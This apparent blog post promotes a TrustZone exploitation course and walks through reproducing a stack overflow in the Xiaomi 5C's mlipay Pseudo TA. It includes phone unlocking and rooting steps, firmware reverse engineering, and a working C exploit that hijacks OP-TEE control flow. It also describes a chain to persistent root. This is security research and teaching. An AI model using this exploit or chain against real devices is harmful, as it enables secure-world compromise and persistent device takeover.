欢迎报名 OSR TrustZone Pwn
简述
- 议题名称:Surge in the dark: 探索澎湃S1的安全视界
- 议题作者:slipper
- 漏洞位置:澎湃S1 : 小米5C : trustzone.img : Pseudo TA : mlipay : sub_801F27C : S-EL1 Runtime
- 影响版本:澎湃S1 : 小米5C : 全版本(Before v11.0.3.0,停止更新于 2019.12.10)
- 漏洞固件:meri_images_V11.0.3.0.NCJCNXM_20191125.0000.00_7.1_cn_0eb3e99e93.tgz 中的 trustzone.img
- 漏洞类型:栈溢出
- 漏洞成因:小米安全支付 Pseudo TA(mlipay),在解析IFAA注册请求时,未对证书链字段的证书数量进行检查,就直接将解析数据循环拷贝到栈上
- 防护措施:漏洞 Pseudo TA(mlipay)位于OP-TEE内核中,目标编译的OP-TEE:无CANARY,无ASLR,有NX,另外普通APP权限无法访问TrustZone接口
- 攻击入口:从普通APP权限出发,通过binder将IFAA注册请求发送给有TrustZone访问权限的mlipayd服务,由mlipayd服务调用PTA并触发漏洞
- 利用效果:从EL0普通APP权限出发,提权到S-EL1任意代码执行,并完成EL1(Android)侧的持久 root(远程/本地)
- 利用代码:未公开
- 利用方法:(1) 临时root:S-EL1栈溢出,ROP写物理内存,patch Linux Kernel代码段,修改内核提权检查函数并关闭SELinux,完成暂时提权
- 利用方法:(2) 持久root:利用暂时的root权限,写mac分区即/dev/block/mmcblk0p6,添加skip-verify字段,跳过权限启动检查,并将patch写入boot分区的Linux kernel
- 利用方法:(3) 本地触发:普通APP通过binder调用mlipayd的服务,将payload送入S-EL1的Pseudo TA中
- 利用方法:(4) 远程触发:找一个浏览器漏洞,安装普通APP
作者
slipper,现盘古实验室安全研究员,OOO成员,上交0ops战队联合创始人。曾参加Pwn2Own、DEFCON CTF、GeekPWN和TianfuCup等黑客大赛,曾公开演示破解iPhone8、PlayStation4、Cisco ASA、Safari、Firefox、MacOS、Docker、CentOS、Ubuntu、Adobe Reader。他平时还是一位CTF主播和Baijiucon主播。
背景
2020年参加MOSEC听过的议题,MOSEC这个会议的一大特色就是用漏洞展示说话,你会在看到当场展示的各种代码执行,getshell,root,kernel panic,这个小米的议题当然也不例外。slipper在议题开始就进行了展示,他将其称为0.5 click的full chain利用:小米5c自动连接一个恶意wifi(但还是要点一下确定),然后就可以收到小米5c反弹的root shell。
相关记录如下:
- MOSEC 2020
- MOSEC-2020参会小记
- 记 MOSEC 2020 及上海一游 (1)
- 精彩回顾 MOSEC移动安全技术峰会 2020
- 图文直播 MOSEC 2020,一场纯粹的移动安全技术峰会
- 最近看过的议题&文章(Bootloader/TZ)
虽然MOSEC当时的PPT没有放出来,但这个议题同时出现在了ISC2020上,可以找到PPT:
漏洞
整个议题的漏洞和利用不太好分的那么开,因为整体是一个full chain的利用过程,所以涉及到的层次比较多。我们主要关注TrustZone相关的部分,这也是整个漏洞和利用的核心部分,我认为这部分的主要漏洞点有两处,首先是静态TA(伪TA/Pseudo TA)的栈溢出:
Pseudo TA也可称为静态TA,与运行在S-EL0的普通TA不同,静态TA不是通过CA调用才加载进安全世界的内存中,其直接实现在OP-TEE Kernel中,因此其与OP-TEE Kernel具有相同执行权限,即S-EL1。所以如果静态TA出现漏洞,相当于OP-TEE Kernel的漏洞,这与ko和Linux Kernel的关系类似。
(1) 栈溢出
循环条件v14由CA传入数据v12解析出,并且没有任何检查,每次循环中有7次向v11指向的栈进行内存写,循环间对写入地址的qword指针v11加7,因此整个循环就是根据v14向v11指向的栈上进行地址递增的写入操作,所以当v14超过设计的循环轮数(v11指向栈空间预留的大小 / 7*8 )时,目标发生栈溢出:
但普通用户没有访问/dev/tee0设备的权限,也就没有能力与目标PTA通信,因此就无法触发这个栈溢出,因此需要第二个漏洞:
(2) binder的selinux限制失效
限制binder调用的selinux规则在Android7.1下无效。目标PTA的对应CA为mlipayd这个服务,其暴露的binder接口可以从外部接受数据并发送给PTA,虽然设备的selinux规则限制了只有mt_daemon、platform_app、system_app、system_server四种selinux type可以调用mlipay的binder,但很遗憾binder的调用限制是Android 8.0才修改支持的,而目标小米5c的Android版本为7.1,因此任意权限的app都可以通过binder调用mlipay的服务将payload发送给目标PTA:
利用
整个利用过程的思路很清晰:触发 -> ROP -> 提权 -> 持久化,最后找个办法远程安装APP:
(1) 触发
利用程序的外貌为Android APP,通过binder调用mlipay以及构造payload直接在java层完成:
(2) ROP
找到了一段从x0指向的内存控制大量寄存器的gadget:
(3) 提权
ROP完成patch Linux Kernel,干掉提权检查函数并关闭selinux,获得临时的root shell:
(4) 持久化
小米5c的启动链中有类似环境变量的东西,即 littlekernel/LK的sysparam,如果设置了skip-verify变量即可跳过安全启动检查,这个变量可以从flash的mac分区即 /dev/block/mmcblk0p6 加载(这也应该算一个漏洞)。因此只要在临时root权限下,写mac分区添加skip-verify相关数据,然后再将patch后的linux kernel和文件系统写入flash中即可完成持久化的root:
(5) 远程
因为是个普通APP就能触发漏洞,所以为了让利用链更完整,找了一个浏览器漏洞,然后安装APP:
(6) 总结
整个分析以及攻击过程的路线图如下:
- 从Untrusted APP出发,利用栈溢出打掉 S-EL1 的 P-TA
- 然后从S-EL1出发,写物理内存,打掉EL1的Linux kernel,获得EL1的root shell
- 利用EL1的root shell 修改 flash(Storage),patch Linux Kernel并设置skip-verify
- 设置好skip-verify,即可跳过Firstboot接下来的所有检查,持久化root达成!
实践
小米5c虽是2017年的老款手机,但至今仍可以在闲鱼买到,因此复现此漏洞的硬件条件不难达成。另外小米允许通过开发版ROM解锁fastboot并root,且固件不加密,所以复现此漏洞的软件条件也具备。所以整个漏洞至今仍然可以完全复现,但整个议题最特色的攻击路线,即从的普通用户(EL0)打PTA(S-EL1),然后反打Linux Kernel(EL1)完成提权已经被我复刻成了一道CTF赛题,欢迎参加OSR TrustZone Pwn线下实践课程进行体验:
因为相关的利用思路已经在CTF赛题中体现,所以本次实践的目标就设定为,在小米5C真机上,触发PTA的栈溢出并完成任意地址的控制流劫持。另外由于我们仍然聚焦于TrustZone本身,因此我决定忽略通过binder完成漏洞触发的路径,直接使用开发版的ROM,在开启root后,自行编译CA,完成PTA的调用以及漏洞触发,达成目标后的截图:
(1) 准备硬件
因为实践目标简化了漏洞触发的过程,即在root权限下使用自行编译的CA去攻击PTA,因此我们首先需要准备一个已经root的小米5C手机,这个就主要属于玩机的内容了。对于小米这种曾经比较开放的手机,官方是允许用户root自己的手机的,基本流程是刷开发版ROM,然后解锁BL(fastboot 锁),最后授权中心开启root。我闲鱼上买了两个小米5C,分别是稳定版(11.0.3.0)和开发版(9.8.29)的最新版ROM:
稳定版和开发版均可以使用小米官方解锁工具进行官方解锁,但只有开发版ROM解锁后能直接开启root,所以如果买到ROM为稳定版的手机(目前不可卡刷降级为开发版,会提示验证失败),可以先解锁BL,然后线刷开发版ROM开启root。
重置过的手机开启adb前,需要插入SIM卡进行验证。另外在接下来解锁BL时还需要登录小米账号,且必须使用蜂窝网络进行登录。而买到的小米5C大部分不直接支持联通SIM卡,然而我就只有联通的SIM卡…后来我发现,小米5C其实也可以支持联通4G,只需要在拨号键盘中输入*#*#1#*#*
,即可进入工程模式开启联通支持:
插入SIM卡后,开启开发者模式并开启adb,在手机没root前,不能使用adb root或得root shell:
➜ adb root
adbd cannot run as root in production builds
➜ adb shell
meri:/ $
可以使用adb将手机启动到fastboot中,查看设备fastboot解锁状态,确认设备并没有解锁:
➜ adb reboot bootloader
➜ fastboot oem device-info
(bootloader) Device unlocked: false
OKAY [ 0.003s]
Finished. Total time: 0.004s
fastboot解锁的主要命令就是fastboot oem unlock
,但还要提供对应的解锁码或者解锁相关验证数据才能完成解锁:
➜ fastboot oem unlock
FAILED (remote: 'Token verification failed')
fastboot: error: Command failed
虽然解锁需要提供解锁码之类的,但直接使用fastboot oem lock就可以给fastboot上锁,无需任何附加数据,所以对于一个已经解锁的手机,千万不要没事执行这个:
➜ fastboot oem lock
(bootloader) Device already : locked!
OKAY [ 0.002s]
Finished. Total time: 0.002s
拿到手的手机大概率是fastboot没有解锁的,所以我们需要先解锁,OK,fastboot重启进Android:
➜ fastboot reboot
Rebooting OKAY [ 0.004s]
Finished. Total time: 0.005s
小米手机解锁过程参考如下,原理是手机绑定小米账号,解锁工具登录小米账号,然后小米远程返回解锁相关数据并执行fastboot oem unlock
:
解锁工具官网为:https://www.miui.com/unlock/download.html,只有windows平台的支持,并且下载后一定要更新到最新版,否则无法解锁,目前最新版版本号为miflash_unlock-6.5.406.31。另外解锁工具不要使用微信登录小米账号,会解锁失败,需要密码或者验证码登录才能解锁成功。另外也可以尝试第三方的解锁工具:XiaoMiTool V2,其本质是老外逆向了官方的windows解锁工具,并写了一个支持Linux、Mac OS、windows三种平台的小米解锁工具,本质还是和小米服务器通信,需要登录小米账号,是个合法正常的解锁工具。
1. 手机已插入 SIM 卡,关闭 WiFi 连接,启用数据联网方式
2. 依次点击 手机设置 -> 我的设备 -> 全部参数 -> 连续点击几次 “MIUI 版本” 打开开发者选项
3. 依次点击 手机设置 -> 更多设置 -> 开发者选项 -> 设备解锁状态 -> 绑定帐号和设备
4. 如果是新机,需在绑定帐号后保持使用 7 天,期间不要退出小米帐号,以满足解锁条件
5. 将手机与电脑连接一次,让电脑安装好驱动(如果安装失败,可下载 MiFlash 再手动安装)
6. 将手机关机,按住音量下键 + 开机键进入 Fastboot 模式,之后用数据线连接到电脑
7. 电脑下载小米解锁工具,解压后运行里面的 miflash_unlock.exe 文件,按提示登录小米帐号,点击解锁,解锁后重启手机
8. 到此,BL 解锁就完成了,之后便可以使用线刷方式刷机
手机进入fastboot后,解锁工具可以识别到手机,点击解锁即可:
经过测试,我使用我自己的小米账号解锁买来的二手手机并没有填写解锁申请,也没有使用7天,直接就可以解锁成功,解锁成功后,可以通过 fastboot oem device-info
查看手机解锁状态,确认已经解锁:
也可以使用fastboot oem unlock
查看解锁状态,但千万不要fastboot oem lock
,这样会直接给fastboot重新上锁:
➜ fastboot oem device-info
(bootloader) Device unlocked: true
OKAY [ 0.010s]
Finished. Total time: 0.010s
➜ fastboot oem unlock
(bootloader) Device already : unlocked!
OKAY [ 0.010s]
Finished. Total time: 0.011s
可以在解锁过程对主机USB抓包,分析小米解锁工具到底是怎么干的:
解锁后进入Android还需要在:设置 - 授权管理 - ROOT权限管理(稳定版解锁后没有这个功能),中开启root,然后即可使用adb root
获取手机的root shell:
➜ adb root
restarting adbd as root
➜ adb shell
meri:/ #
meri:/ # cat /proc/version
Linux version 4.9.27-264179-g1c21f86 (soon@Soon6401) (gcc version 4.9
20150123 (prerelease) (GCC) ) #1 SMP PREEMPT Fri Mar 15 14:30:35 CST 2019
meri:/ # getenforce
Enforcing
meri:/ # setenforce 0
meri:/ # getenforce
Permissive
其他参考如下,解锁相关:
- 小米手机安装 Magisk 获取 Root 权限指南
- 小米手机获取 Root 权限教程(详细图文)
- 2021 miui 刷开发版和root最简单的方法,详细步骤
- 小米手机官方解锁BootLoader教程
线刷相关:
root相关:
降级相关:
(2) 准备软件
准备好硬件,即已经root的小米5c后,我们还需要准备目标软件,也就是固件,或者说手机刷机包。虽然小米几年前关闭了手机刷机包的直接下载渠道,但热闹的小米社区中还是有不少米粉在尽心尽力的对曾经的刷机包进行整理:
对于开发版刷机包,小米ROM 这个站点整理的比较好:
我们关注两个包,分别是小米5C稳定版(V11.0.3.0)和开发版(v9.8.29)的最新线刷包:
因为目标漏洞代码至少在稳定版中,而我们手中root的真机是开发版
- 稳定版:meri_images_V11.0.3.0.NCJCNXM_20191125.0000.00_7.1_cn_0eb3e99e93.tgz
- 开发版:meri_images_9.8.29_20190829.0000.00_7.1_cn_91d8adb623.tgz
小米的刷机包就比华为好看很多,tgz压缩包直接解开就能看到一个个命名很清晰的分区镜像,且没有加密:
➜ ls
amt.bin cust.img modemarm.bin persist.img system.img
boot.img firstboot.img modemdsp.bin recovery.img trustzone.img
cache.img misc.img partition.txt secondboot.img userdata.img
➜ binwalk -A ./trustzone.img
DECIMAL HEXADECIMAL DESCRIPTION
------------------------------------------------------------------------
6828 0x1AAC AArch64 instructions, function epilogue
6840 0x1AB8 AArch64 instructions, function epilogue
6976 0x1B40 AArch64 instructions, function epilogue
6980 0x1B44 AArch64 instructions, nop
6984 0x1B48 AArch64 instructions, nop
6988 0x1B4C AArch64 instructions, nop
...
➜ strings ./trustzone.img | grep ifaa
ifaa_in_sign_authresponse
ifaa_tz_authenticate
ifaa_in_validate_req_sig
...
很明显我们的目标是trustzone.img,如果用ATF视角可以称呼这部分为BL32,经过对比,最新版开发版和稳定版的trustzone.img是完全一致的(虽然版本号看起来差别挺大,但其实固件发布时间就只差了三个月),因此我们用开发版的root权限,来复现议题中稳定版的漏洞是完全可以的:
➜ md5sum ./meri_images_V11.0.3.0.NCJCNXM_20191125.0000.00_7.1_cn/images/trustzone.img
6a5e05c93fb09c452d273c0e9b909831 ./meri_images_V11.0.3.0.NCJCNXM_20191125.0000.00_7.1_cn/images/trustzone.img
➜ md5sum ./meri_images_9.8.29_20190829.0000.00_7.1_cn/images/trustzone.img
6a5e05c93fb09c452d273c0e9b909831 ./meri_images_9.8.29_20190829.0000.00_7.1_cn/images/trustzone.img
那么接下来我们就来处理一下这个trustzone.img,虽然他没有ELF格式,但小米给他封装成了Android bootimg格式:
➜ file ./trustzone.img
./trustzone.img: Android bootimg, kernel (0x8000000), second stage, page size: 4096
按照Android 9之前的boot image header,这里的kernel size为0x6161C,kernel addr为0x8000000,kernel就指OP-TEE OS kernel。OP-TEE OS Kernel代码在trustzone.img的偏移为0x1000,但OP-TEE OS Kernel本身还有0x1C字节的头不加载到内存中,因此有效OP-TEE OS Kernel代码在文件偏移0x101c处,长度为0x61600,加载的虚拟地址为0x8000000:
按照这个参数把目标封成ELF:
from pwn import *
context(arch='aarch64')
sc = open('trustzone.img','rb').read()[0x101c:0x101c+0x61600]
open('trustzone.elf','wb').write(make_elf(sc,vma=0x8000000))
然后就可以扔进IDA逆向了,结果很好,函数基本都分析出来了,1500个函数:
根据trustzone.img中的版本字符串信息,可以确认其使用的OP-TEE OS版本为2.5(2017年左右的版本),因此如果想更好的逆向,可以编译此版本的ARM64二进制然后使用bindiff恢复符号:
➜ strings ./trustzone.img | grep dev
GPD-1.1-dev
2.5.0-257-g65d26c0-dev
get device id fail
get deviceid fail
gpd.tee.deviceID
(3) 基础逆向
如果你自己尝试编译一个带符号的OP-TEE,就可以发现PTA在OP-TEE OS Kernel二进制中的组织方式如下,所有PTA的UUID、name以及相关的调用函数都会保存在rodata中,因此这也是分析PTA的入手点:
本图是OSR TrustZone Pwn其中的课程实践,这些分析、逆向、调试等方法,均包含在培训课程中
议题中也提到了这段数据,其中主要关注mlipay和mitrust两个PTA,以mlipay为例,箭头指出的就是mlipay的UUID,CA需要通过这个UUID调用到mlipay:
在对trustzone.elf的逆向过程中,通过字符串搜索,交叉引用,搜索字符串地址的使用等方法就可以找到这段数据,9个8字节为一组,开始为UUID,最后PTA的invoke函数:
例如sub_801EB58就是mlipay的invoke函数,为了方便逆向,可以恢复其参数a4为TEE_Param结构体指针:
如果对TA的常见安全问题有所了解,就会发现,sub_801EB58没有对第三个参数a3(指出a4的参数类型)进行使用,因此也就没有地方检查a3,所以这直接就类型混淆了,进而可以使用a4的memref.buffer传入任意的内存地址,引发任意地址读写漏洞。不过这个类型混淆也并不是OP-TEE本身的原因,只要在TA中正确检查参数类型,即可避免此问题:
(4) 交互输入
由于我们已经找到了目标PTA的UUID,所以逆向可以暂时搁置,我们先来完成CA和PTA的交互,即编译CA去调用目标PTA。仍然以mlipay为例,首先按照UUID的格式拆分mlipay的UUID:
然后确定一个需要执行到的目标,这里以mlipay的invoke函数sub_801EB58中这句Invalid protocol
的打印,代码执行到这里要过三个if判断:
- a2即invoke调用的commandID为0
a4[0].memref.buffer
和a4[1].memref.buffer
,即invoke的param参数前两个都要设置*buffer (*a4[0].memref.buffer)
即传递过来的共享内存前4个字节不为\x01\x00\x00\x00
按照这个要求完成CA代码,其中共享内存的前四个字节设置为(int)11223344:
paramTypes一定要设置前两个参数的类型,否则参数不会传递
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <tee_client_api.h>
int main(void){
TEEC_Context ctx ;
TEEC_Session sess;
TEEC_Operation op;
TEEC_UUID uuid = {0x66F1C983, 0x2444, 0x42B4,{0x8D, 0xB1, 0x32, 0xB2, 0x89, 0x48, 0x61, 0x76 }};
int r = 0;
r = TEEC_InitializeContext(NULL, &ctx);
r = TEEC_OpenSession(&ctx, &sess, &uuid, TEEC_LOGIN_PUBLIC, NULL, NULL, NULL);
printf("[+] open mlipay : %d\n",r);
memset(&op, 0, sizeof(op));
op.paramTypes = TEEC_PARAM_TYPES(TEEC_MEMREF_TEMP_INPUT, TEEC_MEMREF_TEMP_OUTPUT, TEEC_NONE, TEEC_NONE);
char * payload = malloc(0x1000);
memset(payload,0,0x1000);
*(int *)payload = 11223344;
op.params[0].tmpref.buffer = payload;
op.params[0].tmpref.size = 0x1000;
op.params[1].tmpref.buffer = malloc(0x1000);
op.params[1].tmpref.size = 0x1000;
r = TEEC_InvokeCommand(&sess, 0, &op, NULL);
printf("[+] invoke mlipay : %d\n",r);
return 0;
}
编译相关的文件以及工具如下,其中lib库需要从手机shell中拽出来或者从刷机包中解出来:
- lib库:adb pull /system/lib64/libteec.so ./
- 头文件:optee_client/public/tee_client_api.h
- 编译工具:https://developer.android.com/ndk/downloads: aarch64-linux-android21-clang
文件目录如下:
➜ tree -N -L 2
.
├── exp.c
├── include
│ └── tee_client_api.h
└── lib
└── libteec.so
编译命令如下:
➜ aarch64-linux-android21-clang exp.c -o exp -I ./include -lteec -L ./lib
➜ file ./exp
./exp: ELF 64-bit LSB pie executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /system/bin/linker64, not stripped
然后把编译好的二进制放到手机上执行,可以看到执行成功,open返回0,证明打开成功,invoke返回-65530,为目标分支的返回,因此目标这句打印Invalid protocol
应该已经被执行:
➜ adb push ./exp /tmp/exp
./exp: 1 file pushed, 0 skipp...7 MB/s (7008 bytes in 0.000s)
➜ adb shell
meri:/ # /tmp/exp
WARNING: linker: /tmp/exp: unsupported flags DT_FLAGS_1=0x8000001
[+] open mlipay : 0
[+] invoke mlipay : -65530
meri:/ #
那么我们能看到这句打印么?
(5) 交互输出
在议题PPT中提到了OP-TEE的打印信息,开始我以为这个日志是从串口找到的,但slipper提到拆机找串口时,他们把手机拆坏了,因此这个log应该不是串口打印的:
所以我怀疑这个log存在于手机的linux文件系统中,搜索tee相关的文件,找到一个可疑的文件/data/misc/tee/teec.log
:
meri:/ # find / -name "*tee*" 2>/dev/null
/persist/tee
/system/bin/tee
/system/bin/tee_supplicant
/system/lib/libteec.so
/system/lib/libteeclientjni.so
/system/lib64/libteec.so
/system/lib64/libteeclientjni.so
/system/vendor/tee
/sys/kernel/debug/tee
/sys/devices/virtual/tee
/sys/devices/virtual/tee/tee0
/sys/devices/virtual/tee/teepriv0
/sys/class/tee
/sys/class/tee/tee0
/sys/class/tee/teepriv0
/sys/firmware/devicetree/base/firmware/optee
/sys/module/optee
/sys/module/tee
/data/misc/tee
/data/misc/tee/teec.log
/data/tee
/dev/teepriv0
/dev/tee0
打开发现这还真是OP-TEE的日志打印文件,并且可以看到刚才我们触发的Invalid protocol那句打印,version为传入的111223344:
meri:/ # tail /data/misc/tee/teec.log
03-08 16:29:02 TEE [403] : [005]: ERROR: [0x0] TEE-CORE:ecc_sign_raw_data:524: content length is unexpected 16
03-08 17:28:02 TEE [398] : [005]: ERROR: [0x0] TEE-CORE:ecc_sign_raw_data:524: content length is unexpected 16
03-08 17:28:02 TEE [403] : [005]: ERROR: [0x0] TEE-CORE:ecc_sign_raw_data:524: content length is unexpected 16
03-08 20:17:46 TEE [398] : [005]: ERROR: [0x0] TEE-CORE:ecc_sign_raw_data:524: content length is unexpected 16
03-08 20:17:46 TEE [403] : [005]: ERROR: [0x0] TEE-CORE:ecc_sign_raw_data:524: content length is unexpected 16
03-08 20:17:47 TEE [259] : [005]: ERROR: [0x0] TEE-CORE:ecc_sign_raw_data:524: content length is unexpected 16
03-08 20:17:47 TEE [398] : [005]: ERROR: [0x0] TEE-CORE:ecc_sign_raw_data:524: content length is unexpected 16
03-08 20:17:48 TEE [403] : [005]: ERROR: [0x0] TEE-CORE:ecc_sign_raw_data:524: content length is unexpected 16
03-08 20:17:48 TEE [259] : [005]: ERROR: [0x0] TEE-CORE:ecc_sign_raw_data:524: content length is unexpected 16
03-08 21:12:33 TEE [403] : [005]: ERROR: [0x0] TEE-CORE:mp_handler:66: Invalid protocol version 11223344
(6) 漏洞分析
至此,我们已经可以和目标PTA进行交互,并且观察对应的打印信息。接下来我们就继续逆向,分析目标漏洞的位置以及触发方式。PPT中提到的漏洞代码没有直接引用的字符串,所以不太容易直接定位,但是可以看到左侧的说明,目标位置应该与ifaa_in_validate_req_sig这个字符串相关:
在IDA中找到这个串并交叉引用,确认只有一处,即sub_801F27C,漏洞代码也就在这里,因此这个函数也是逆向的重点,对于真实业务的逆向有一些技巧:
- 首先最重要的就是log string,通过log字符串基本可以看出对应功能,比如这里的log函数的第一个参数,就是当前函数名
- 另外就是确定目标的处理逻辑是否在完成一些公开的标准、协议、密码算法等运算,如果是则可通过公开的文档辅助逆向
- 还有就是根据对目标的理解以及经验猜测目标的处理逻辑,快速捋请目标的大概逻辑,并寻找需要关注的重点细节进行逆向
- 最后在如果能调试情况下,可以通过不同的输入,触发不同的目标逻辑,观察结果,进而辅助逆向
很明显这个有漏洞的while循环在处理证书链,但这是一个什么证书链呢?这里有为什么会出现证书的解析呢?log string提醒了我们,这是 IFAA(互联网金融身份认证联盟)本地免密的相关处理代码,例如指纹支付。因此研究到这个地步,才真正的进入了TrustZone的业务世界,彻底离开了OP-TEE的hello world example新手村。
IFAA本地免密的标准文档目前总共有两版,网上可以找到2016年的第一版:IFAA本地免密技术规范(T/IFAA 0001-2016),这版虽然没有总览全局的架构图,但是也有对逆向非常有帮助的信息,即协议格式。可以看到逆向结果sub_801F27C中的立即数0x8006在标准文档中也存在,表示IFAA服务商证书链:
整个IFAA本地免密支付的过程比较复杂,涉及多个角色之间的数据交互,但与IFAA TA的进行直接交互的角色只有IFAA framework(可以理解为本地调用TA的CA程序),因此目标漏洞必然可以通过CA向TA传递数据进行触发。不过在正常业务中,CA传递给TA的数据有时是来自IFAA Server的,相当于CA做一层数据的转发(这也是mlipayd提供binder接口的原因),即IFAA TA要解析IFAA Server传回的数据,数据封装的方法也就是上图提到的TLV,因此sub_801F27C也应该就是按照此TLV进行解析:
更多IFAA内容可以参考:
- IFAA在移动安全领域为身份认证保驾护航
- 详解IFAA标准中的注册认证流程
- 图解IFAA、SOTER方案接入工作流程
- 微信指纹支付原理浅析
- 生物识别(IFAA)介绍
- 指纹登录是怎么跑起来的
- 微信的指纹支付能否开通是厂商说了算还是微信说了算?
- 白话可信身份认证—FIDO、IFAA、TUSI
- Android系统终端上不得不说的5个密钥!
- IFAA成立三周年:从F到IoT
我们回到逆向,根据推测漏洞函数sub_801F27C中解析了TLV相关数据,对此函数交叉引用有三条结果:
根据文档中的TLV协议部分内容,可以推测这三条路分别对应:
- 0x2: 注册 request
- 0x6: 校验 request
- 0xA: 注销 request
注:这个request是IFAA server生成的数据,传递给IFAA TA进行解析处理,处理后IFAA TA回给IFAA Server对应的response,当然IFAA TA无法与IFAA Server直接通信,因此所有数据正常情况下都由IFAA TA对应的CA进行转发
那么议题中的漏洞示例是通过哪条路调用到sub_801F27C的呢?在PPT的java payload部分可以看到,根节点1后跟着的是立即数2,因此漏洞示例的触发方式应该是走的注册request分支,即sub_801F49C:
从sub_801F49C往上交叉引用的结果没有岔路,跟三层即可回到PTA mlipay的invoke入口函数sub_801EB58:
- sub_801FA5C: ifaa_tz_register
- sub_80203D4: process_ifaa_cmd
- sub_801EB58: mp_handler (mlipay invoke)
因此就是从sub_801EB58开始逆向,逆向的目标为:确定输入数据a4[0].memref.buffer
应该如何组织才能最后走到sub_801F27C并触发漏洞。因此在逆向过程中也可以不断地变换输入,然后观察打印的日志确认目标路径是否执行,辅助逆向:
其中sub_80203D4比较长,看起来比较难逆,但其实也有技巧,比如最后调用到sub_801FA5C的路径限制,中间的一大堆只需要令v12等于2即可跳过,因此也能猜出来v12就是注册request的那个2:
不要抵触猜,逆向过程中都是连蒙带猜的,这其实是经验的体现
另外sub_80203D4解析的数据也可以参考标准文档中的IFAA TA接口规范,这里就是按照这个标准实现的:
总体关键的解析函数以及对应的逆向方法如下:
- sub_801EB58: mp_handler: 入口函数,就俩条件,手逆
- sub_80203D4: process_ifaa_cmd: 参考文档中的IFAA TA接口规范
- sub_801F27C: ifaa_in_validate_req_sig: 参考文档中的TLV协议部分
最终可以走到sub_801F27C中并触发栈溢出完成控制流劫持的exp如下:
需要注意:在sub_80203D4中对
op.params[1].tmpref.buffer
传入的输出buffer也有一个小约束
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <tee_client_api.h>
void debug(char * buf,int len){
for(int i=0;i<len;i++){
if((i%8==0) && (i!=0)) printf(" ");
if((i%16==0) && (i!=0)) printf("\n");
printf("%02X ",buf[i] & 0xff);
}
printf("\n");
}
int main(void){
TEEC_Context ctx ;
TEEC_Session sess;
TEEC_Operation op;
TEEC_UUID uuid = {0x66F1C983, 0x2444, 0x42B4,{0x8D, 0xB1, 0x32, 0xB2, 0x89, 0x48, 0x61, 0x76 }};
int r = 0;
r = TEEC_InitializeContext(NULL, &ctx);
r = TEEC_OpenSession(&ctx, &sess, &uuid, TEEC_LOGIN_PUBLIC, NULL, NULL, NULL);
printf("[+] open mlipay : %d\n",r);
memset(&op, 0, sizeof(op));
op.paramTypes = TEEC_PARAM_TYPES(TEEC_MEMREF_TEMP_INPUT, TEEC_MEMREF_TEMP_OUTPUT, TEEC_NONE, TEEC_NONE);
char * payload = malloc(0x1000);
memset(payload,0,0x1000);
/* -------------------------------- sub_801EB58: mp_handler --------------------------------- */
*(int *) payload = 1; // 0x801EB94: if ( *buffer != 1 )
*(int *)(payload + 4) = 0x1000; // 0x801EBEC: v11 != 0x1000
/* -------------------------------- sub_80203D4: process_ifaa_cmd --------------------------- */
*(int *)(payload + 8) = 0x200; // 0x80203F4: v109 = *(_DWORD *)(input + 8); size total
*(int *)(payload + 0xc) = 0; // size total padding
// sig_len; signature
*(int *)(payload + 0x10) = 4; // 0x801F198: size_data = read32(*data): size data
*(int *)(payload + 0x14) = 1; // 0x8020458: EXTRACT_DATA((__int64)v72, &v68, &v69); v72
// pkg_len; pkg_name
*(int *)(payload + 0x18) = 4; // 0x801F198: size_data = read32(*data): size data
*(int *)(payload + 0x1C) = 1; // 0x8020470: EXTRACT_DATA((__int64)v73, &v68, &v69); v73
// command
*(int *)(payload + 0x20) = 2; // 0x8020484: v12 = read32(v69)
// Param_len
*(int *)(payload + 0x24) = 0x100; // 0x80205E0: v11 = EXTRACT_DATA((__int64)&v83, &v68, &v69);
/* -------------------------------- sub_801FA5C: ifaa_tz_register --------------------------- */
/* -------------------------------- sub_80243CC: parse_request --------------------------- */
/* -------------------------------- sub_801F49C: --------------------------- */
/* -------------------------------- sub_801F27C: ifaa_in_validate_req_sig ------------------- */
// Params(TLV data)
*(uint16_t *)(payload + 0x28) = 1; // root_node
*(uint16_t *)(payload + 0x2a) = 0xf0; // size
*(uint16_t *)(payload + 0x2c) = 2; // node_regdata
*(uint16_t *)(payload + 0x2e) = 0xe0; // size
*(uint16_t *)(payload + 0x30) = 0x8007; // node_sig
*(uint16_t *)(payload + 0x32) = 0x0; // size
*(uint16_t *)(payload + 0x34) = 0x8006; // node_certchain
*(uint16_t *)(payload + 0x36) = 0xd0; // size
*(int *) (payload + 0x38) = 6; // number of cert !!!
op.params[0].tmpref.buffer = payload;
op.params[0].tmpref.size = 0x1000;
/* -------------------------------- sub_80203D4: process_ifaa_cmd --------------------------- */
char * output = malloc(0x1000);
*(int *)(output + 4) = 0x10; // 0x80203F8: v6 = output[1]; if(v6 == 0) v8 = "Invalid param";
op.params[1].tmpref.buffer = output;
op.params[1].tmpref.size = 0x1000;
printf("[+] trigger bug !\n");
r = TEEC_InvokeCommand(&sess, 0, &op, NULL);
printf("[+] invoke mlipay : %d\n",r);
debug(op.params[0].tmpref.buffer,0x100);
printf("---------------------------\n");
debug(op.params[1].tmpref.buffer,0x100);
return 0;
}
编译上传执行,exp在执行TEEC_InvokeCommand后卡住,不一会后手机会重启,重启后查看tee日志,即可看到成功将OP-TEE Kernel控制流劫持到0地址:
(7) 解析细节
但其实刚才的exp有两个问题,首先是如果使用非零的数据初始化输入内存,就会在完成控制流劫持前直接崩溃,即无法完成任意地址的控制劫持,以上的exp只能将控制流劫持到0地址:
memset(payload,0,0x1000);
另外是解析证书的数量大于等于6时才能成功控制流劫持到0:
*(int *) (payload + 0x38) = 6; // number of cert !!!
而按照漏洞函数sub_801F27C的逆向结果分析,栈上v29预留的空间为qword[28]
,循环中指针每轮按qword加7,因此解析预期的最多轮数为4轮,所以第5轮证书解析就会发生栈溢出,ARM64的返回地址在每个函数栈顶,因此第5轮证书解析应该就会覆盖父级函数的返回地址:
但如果将证书数量设置为5,则控制流劫持失败,会崩溃在其他位置:
并且议题PPT中利用也是用了6轮解析,那这是为什么呢?
要回答这两个问题,需要仔细的逆向漏洞函数sub_801F27C中的while循环,经过逆向,这段循环中一轮的解析逻辑大概如图:
当逆向目标需要精确到字节的级别时,就不好连蒙带猜了,容易出错
- 输入的证书链数据中只有4个4字节数据会直接写入到栈上
- 栈上还会存3个指向证书链中变长数据的指针
- 因此循环里的内存写不是简单的memcpy,还会向栈上写入不可控的内存地址
